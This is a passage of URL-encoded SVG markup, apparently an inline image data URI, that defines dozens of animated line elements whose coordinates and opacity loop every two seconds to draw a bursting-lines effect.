3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22162.0671%3B162.0671%3B162.0671%3B162.0671%3B162.0671%3B162.0671%3B159.9371%3B155.6246%3B150.8211%3B145.4376%3B139.3623%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%3B131.3501%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2248.4785%22%20y1%3D%22261.2012%22%20x2%3D%2251.5405%22%20y2%3D%22260.9622%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2248.4785%3B48.4785%3B48.4785%3B48.4785%3B48.4785%3B48.4785%3B34.0919%3B18.0956%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%3B0.2032%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22261.2012%3B261.2012%3B261.2012%3B261.2012%3B261.2012%3B261.2012%3B262.3246%3B263.5736%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%3B264.9707%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2251.5405%3B51.5405%3B51.5405%3B51.5405%3B51.5405%3B51.5405%3B48.4785%3B34.0919%3B18.0956%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%3B-0.648%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22260.9622%3B260.9622%3B260.9622%3B260.9622%3B260.9622%3B260.9622%3B261.2012%3B262.3246%3B263.5736%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%3B265.0372%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22483.6752%22%20y1%3D%22257.5442%22%20x2%3D%22480.6562%22%20y2%3D%22257.2206%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22483.6752%3B483.6752%3B483.6752%3B483.6752%3B483.6752%3B483.6752%3B492.4142%3B502.1391%3B513.0265%3B525.2984%3B539.2365%3B555.2051%3B573.6826%3B595.3108%3B620.9707%3B620.9707%3B620.9707%3B620.9707%3B620.9707%3B620.9707%3B620.9707%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22257.5442%3B257.5442%3B257.5442%3B257.5442%3B257.5442%3B257.5442%3B258.481%3B259.5234%3B260.6904%3B262.0058%3B263.4998%3B265.2115%3B267.1921%3B269.5104%3B272.2609%3B272.2609%3B272.2609%3B272.2609%3B272.2609%3B272.2609%3B272.2609%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22480.6562%3B480.6562%3B480.6562%3B480.6562%3B480.6562%3B480.6562%3B483.6752%3B492.4142%3B502.1391%3B513.0265%3B525.2984%3B539.2365%3B555.2051%3B573.6826%3B595.3108%3B643.3762%3B643.3762%3B643.3762%3B643.3762%3B643.3762%3B643.3762%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22257.2206%3B257.2206%3B257.2206%3B257.2206%3B257.2206%3B257.2206%3B257.5442%3B258.481%3B259.5234%3B260.6904%3B262.0058%3B263.4998%3B265.2115%3B267.1921%3B269.5104%3B274.6625%3B274.6625%3B274.6625%3B274.6625%3B274.6625%3B274.6625%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22197.0716%22%20y1%3D%22186.7612%22%20x2%3D%22199.8262%22%20y2%3D%22187.9542%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22197.0716%3B197.0716%3B197.0716%3B197.0716%3B197.0716%3B197.0716%3B190.4802%3B183.1418%3B174.9218%3B165.6514%3B155.1154%3B143.0356%3B129.0459%3B112.6544%3B93.1846%3B69.6794%3B40.7392%3B4.2326%3B4.2326%3B4.2326%3B4.2326%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22186.7612%3B186.7612%3B186.7612%3B186.7612%3B186.7612%3B186.7612%3B183.9065%3B180.7283%3B177.1684%3B173.1535%3B168.5905%3B163.3588%3B157.3001%3B150.2011%3B141.769%3B131.5891%3B119.0555%3B103.2449%3B103.2449%3B103.2449%3B103.2449%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22199.8262%3B199.8262%3B199.8262%3B199.8262%3B199.8262%3B199.8262%3B197.0716%3B190.4802%3B183.1418%3B174.9218%3B165.6514%3B155.1154%3B143.0356%3B129.0459%3B112.6544%3B93.1846%3B69.6794%3B40.7392%3B-5.7008%3B-5.7008%3B-5.7008%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22187.9542%3B187.9542%3B187.9542%3B187.9542%3B187.9542%3B187.9542%3B186.7612%3B183.9065%3B180.7283%3B177.1684%3B173.1535%3B168.5905%3B163.3588%3B157.3001%3B150.2011%3B141.769%3B131.5891%3B119.0555%3B98.9429%3B98.9429%3B98.9429%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22512.8198%22%20y1%3D%22109.1769%22%20x2%3D%22512.6511%22%20y2%3D%22109.2913%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22512.8198%3B512.8198%3B512.8198%3B512.8198%3B512.8198%3B512.8198%3B512.8198%3B522.9244%3B534.1465%3B546.6826%3B560.7777%3B576.7418%3B594.9732%3B615.9917%3B640.4895%3B640.4895%3B640.4895%3B640.4895%3B640.4895%3B640.4895%3B640.4895%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22109.1769%3B109.1769%3B109.1769%3B109.1769%3B109.1769%3B109.1769%3B109.1769%3B102.3212%3B94.7072%3B86.2018%3B76.6387%3B65.8074%3B53.4379%3B39.1774%3B22.5563%3B22.5563%3B22.5563%3B22.5563%3B22.5563%3B22.5563%3B22.5563%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22512.6511%3B512.6511%3B512.6511%3B512.6511%3B512.6511%3B512.6511%3B512.6511%3B512.8198%3B522.9244%3B534.1465%3B546.6826%3B560.7777%3B576.7418%3B594.9732%3B615.9917%3B642.2422%3B642.2422%3B642.2422%3B642.2422%3B642.2422%3B642.2422%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22109.2913%3B109.2913%3B109.2913%3B109.2913%3B109.2913%3B109.2913%3B109.2913%3B109.1769%3B102.3212%3B94.7072%3B86.2018%3B76.6387%3B65.8074%3B53.4379%3B39.1774%3B21.3671%3B21.3671%3B21.3671%3B21.3671%3B21.3671%3B21.3671%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22535.9455%22%20y1%3D%22454.9866%22%20x2%3D%22527.7601%22%20y2%3D%22446.8376%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22535.9455%3B535.9455%3B535.9455%3B535.9455%3B535.9455%3B535.9455%3B535.9455%3B547.7212%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22454.9866%3B454.9866%3B454.9866%3B454.9866%3B454.9866%3B454.9866%3B454.9866%3B466.7101%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22527.7601%3B527.7601%3B527.7601%3B527.7601%3B527.7601%3B527.7601%3B527.7601%3B535.9455%3B547.7212%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22446.8376%3B446.8376%3B446.8376%3B446.8376%3B446.8376%3B446.8376%3B446.8376%3B454.9866%3B466.7101%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22464.2298%22%20y1%3D%22116.2373%22%20x2%3D%22458.0962%22%20y2%3D%22121.5005%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22464.2298%3B464.2298%3B464.2298%3B464.2298%3B464.2298%3B464.2298%3B464.2298%3B464.2298%3B472.1348%3B480.9567%3B490.8646%3B502.0724%3B514.8537%3B529.5649%3B546.6789%3B566.8367%3B590.9296%3B590.9296%3B590.9296%3B590.9296%3B590.9296%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22116.2373%3B116.2373%3B116.2373%3B116.2373%3B116.2373%3B116.2373%3B116.2373%3B116.2373%3B109.4541%3B101.8841%3B93.3821%3B83.7648%3B72.7973%3B60.1737%3B45.4883%3B28.191%3B7.517%3B7.517%3B7.517%3B7.517%3B7.517%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22458.0962%3B458.0962%3B458.0962%3B458.0962%3B458.0962%3B458.0962%3B458.0962%3B458.0962%3B464.2298%3B472.1348%3B480.9567%3B490.8646%3B502.0724%3B514.8537%3B529.5649%3B546.6789%3B566.8367%3B602.7413%3B602.7413%3B602.7413%3B602.7413%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22121.5005%3B121.5005%3B121.5005%3B121.5005%3B121.5005%3B121.5005%3B121.5005%3B121.5005%3B116.2373%3B109.4541%3B101.8841%3B93.3821%3B83.7648%3B72.7973%3B60.1737%3B45.4883%3B28.191%3B-2.6186%3B-2.6186%3B-2.6186%3B-2.6186%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22269.9535%22%20y1%3D%22142.913%22%20x2%3D%22270.5284%22%20y2%3D%22144.0282%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22269.9535%3B269.9535%3B269.9535%3B269.9535%3B269.9535%3B269.9535%3B269.9535%3B269.9535%3B267.3012%3B264.3521%3B261.0533%3B257.3387%3B253.1245%3B248.3026%3B242.7313%3B236.2213%3B228.5133%3B219.2433%3B207.8829%3B207.8829%3B207.8829%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22142.913%3B142.913%3B142.913%3B142.913%3B142.913%3B142.913%3B142.913%3B142.913%3B137.7677%3B132.0466%3B125.6471%3B118.4411%3B110.2658%3B100.9116%3B90.1037%3B77.4746%3B62.5217%3B44.5385%3B22.5001%3B22.5001%3B22.5001%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22270.5284%3B270.5284%3B270.5284%3B270.5284%3B270.5284%3B270.5284%3B270.5284%3B270.5284%3B269.9535%3B267.3012%3B264.3521%3B261.0533%3B257.3387%3B253.1245%3B248.3026%3B242.7313%3B236.2213%3B228.5133%3B219.2433%3B194.2989%3B194.2989%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22144.0282%3B144.0282%3B144.0282%3B144.0282%3B144.0282%3B144.0282%3B144.0282%3B144.0282%3B142.913%3B137.7677%3B132.0466%3B125.6471%3B118.4411%3B110.2658%3B100.9116%3B90.1037%3B77.4746%3B62.5217%3B44.5385%3B-3.8522%3B-3.8522%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22592.4956%22%20y1%3D%22332.7039%22%20x2%3D%22592.2962%22%20y2%3D%22332.6361%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22592.4956%3B592.4956%3B592.4956%3B592.4956%3B592.4956%3B592.4956%3B592.4956%3B592.4956%3B606.7733%3B622.6301%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22332.7039%3B332.7039%3B332.7039%3B332.7039%3B332.7039%3B332.7039%3B332.7039%3B332.7039%3B337.5613%3B342.9558%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.4956%3B606.7733%3B622.6301%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.7039%3B337.5613%3B342.9558%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22352.7646%22%20y1%3D%22127.5778%22%20x2%3D%22352.3353%22%20y2%3D%22129.0509%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22352.7646%3B352.7646%3B352.7646%3B352.7646%3B352.7646%3B352.7646%3B352.7646%3B352.7646%3B354.504%3B356.4385%3B358.6027%3B361.0403%3B363.8064%3B366.9724%3B370.6317%3B374.9092%3B379.9762%3B386.0735%3B386.0735%3B386.0735%3B386.0735%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22127.5778%3B127.5778%3B127.5778%3B127.5778%3B127.5778%3B127.5778%3B127.5778%3B127.5778%3B121.6095%3B114.972%3B107.546%3B99.1822%3B89.691%3B78.8279%3B66.2722%3B51.5951%3B34.2091%3B13.2882%3B13.2882%3B13.2882%3B13.2882%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.7646%3B354.504%3B356.4385%3B358.6027%3B361.0403%3B363.8064%3B366.9724%3B370.6317%3B374.9092%3B379.9762%3B390.8132%3B390.8132%3B390.8132%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22129.0509%3B129.0509%3B129.0509%3B129.0509%3B129.0509%3B129.0509%3B129.0509%3B129.0509%3B127.5778%3B121.6095%3B114.972%3B107.546%3B99.1822%3B89.691%3B78.8279%3B66.2722%3B51.5951%3B34.2091%3B-2.9749%3B-2.9749%3B-2.9749%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22424.2471%22%20y1%3D%22408.3021%22%20x2%3D%22422.5823%22%20y2%3D%22405.6144%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B429.7984%3B435.9741%3B442.8859%3B450.6739%3B459.5157%3B459.5157%3B459.5157%3B459.5157%3B459.5157%3B459.5157%3B459.5157%3B459.5157%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B417.2644%3B427.2348%3B438.3937%3B450.967%3B465.2417%3B465.2417%3B465.2417%3B465.2417%3B465.2417%3B465.2417%3B465.2417%3B465.2417%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B424.2471%3B429.7984%3B435.9741%3B442.8859%3B450.6739%3B469.3632%3B469.3632%3B469.3632%3B469.3632%3B469.3632%3B469.3632%3B469.3632%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B408.3021%3B417.2644%3B427.2348%3B438.3937%3B450.967%3B481.1401%3B481.1401%3B481.1401%3B481.1401%3B481.1401%3B481.1401%3B481.1401%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22323.4513%22%20y1%3D%22120.0265%22%20x2%3D%22323.3489%22%20y2%3D%22123.5857%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.6378%3B323.8457%3B324.0787%3B324.3417%3B324.6411%3B324.9848%3B325.3835%3B325.8514%3B326.4085%3B326.4085%3B326.4085%3B326.4085%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B113.5428%3B106.3182%3B98.2181%3B89.0731%3B78.667%3B66.7197%3B52.8614%3B36.5937%3B17.2285%3B17.2285%3B17.2285%3B17.2285%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.4513%3B323.6378%3B323.8457%3B324.0787%3B324.3417%3B324.6411%3B324.9848%3B325.3835%3B325.8514%3B326.9822%3B326.9822%3B326.9822%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B120.0265%3B113.5428%3B106.3182%3B98.2181%3B89.0731%3B78.667%3B66.7197%3B52.8614%3B36.5937%3B-2.7123%3B-2.7123%3B-2.7123%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22421.1292%22%20y1%3D%2281.3088%22%20x2%3D%22416.8301%22%20y2%3D%2288.0549%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B426.6719%3B432.8573%3B439.8043%3B447.6626%3B456.6242%3B466.939%3B466.939%3B466.939%3B466.939%3B466.939%3B466.939%3B466.939%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2281.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B72.6113%3B62.9051%3B52.004%3B39.6727%3B25.6103%3B9.4245%3B9.4245%3B9.4245%3B9.4245%3B9.4245%3B9.4245%3B9.4245%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B421.1292%3B426.6719%3B432.8573%3B439.8043%3B447.6626%3B456.6242%3B473.8836%3B473.8836%3B473.8836%3B473.8836%3B473.8836%3B473.8836%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2288.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B81.3088%3B72.6113%3B62.9051%3B52.004%3B39.6727%3B25.6103%3B-1.473%3B-1.473%3B-1.473%3B-1.473%3B-1.473%3B-1.473%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22223.3054%22%20y1%3D%22394.3935%22%20x2%3D%22225.3547%22%20y2%3D%22391.1215%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B218.1274%3B212.3634%3B205.9081%3B198.6291%3B190.3579%3B180.877%3B169.9%3B169.9%3B169.9%3B169.9%3B169.9%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B402.6614%3B411.8648%3B422.1721%3B433.7947%3B447.0013%3B462.1396%3B479.6667%3B479.6667%3B479.6667%3B479.6667%3B479.6667%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B223.3054%3B218.1274%3B212.3634%3B205.9081%3B198.6291%3B190.3579%3B180.877%3B168.7549%3B168.7549%3B168.7549%3B168.7549%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B394.3935%3B402.6614%3B411.8648%3B422.1721%3B433.7947%3B447.0013%3B462.1396%3B481.495%3B481.495%3B481.495%3B481.495%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22112.4324%22%20y1%3D%22269.86%22%20x2%3D%22120.7297%22%20y2%3D%22268.6663%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4